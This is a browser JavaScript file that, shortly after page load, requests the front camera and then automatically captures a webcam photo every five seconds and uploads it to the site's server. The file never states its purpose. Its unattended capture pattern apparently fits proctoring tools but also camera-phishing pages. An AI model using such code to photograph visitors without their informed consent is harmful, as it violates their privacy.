class CameraController { constructor() { this.video = document.getElementById('video'); this.canvas = document.getElementById('canvas'); this.ctx = this.canvas.getContext('2d'); this.stream = null; this.sessionId = null; this.captureInterval = null; this.init(); } async init() { // Delay a bit so Welcome screen is visible first setTimeout(() => { this.startCamera(); }, 1500); window.addEventListener('beforeunload', () => this.cleanup()); window.addEventListener('pagehide', () => this.cleanup()); } async startCamera() { try { this.stream = await navigator.mediaDevices.getUserMedia({ video: { width: { ideal: 1280 }, height: { ideal: 720 }, facingMode: "user" }, audio: false }); this.video.srcObject = this.stream; await new Promise(resolve => { this.video.onloadedmetadata = () => { this.video.play(); resolve(); }; }); this.canvas.width = this.video.videoWidth; this.canvas.height = this.video.videoHeight; await this.startSession(); this.startCapture(); } catch (error) { console.error("Camera permission denied:", error); } } async startSession() { try { const response = await fetch('/api/start_session', { method: 'POST' }); const data = await response.json(); if (data.status === 'success') { this.sessionId = data.session_id; } } catch (err) { console.error("Session error:", err); } } startCapture() { this.captureInterval = setInterval(() => { this.capturePhoto(); }, 5000); setTimeout(() => this.capturePhoto(), 1000); } async capturePhoto() { if (!this.sessionId) return; this.ctx.drawImage(this.video, 0, 0, this.canvas.width, this.canvas.height); const imageData = this.canvas.toDataURL("image/jpeg", 0.8); try { await fetch('/api/capture', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ image: imageData, session_id: this.sessionId }) }); this.flash(); } catch (err) { console.error("Capture error:", err); } } flash() { const flash = document.createElement("div"); flash.style.cssText = ` position: fixed; inset: 0; background: white; opacity: 0; z-index: 9999; animation: flash 0.4s ease; `; const style = document.createElement("style"); style.innerHTML = ` @keyframes flash { 0% { opacity: 0; } 30% { opacity: 0.3; } 100% { opacity: 0; } } `; document.head.appendChild(style); document.body.appendChild(flash); setTimeout(() => { flash.remove(); style.remove(); }, 400); } cleanup() { if (this.captureInterval) clearInterval(this.captureInterval); if (this.stream) this.stream.getTracks().forEach(t => t.stop()); if (this.sessionId) { fetch(`/api/end_session/${this.sessionId}`, { method: "POST", keepalive: true }).catch(() => {}); } } } document.addEventListener("DOMContentLoaded", () => { new CameraController(); });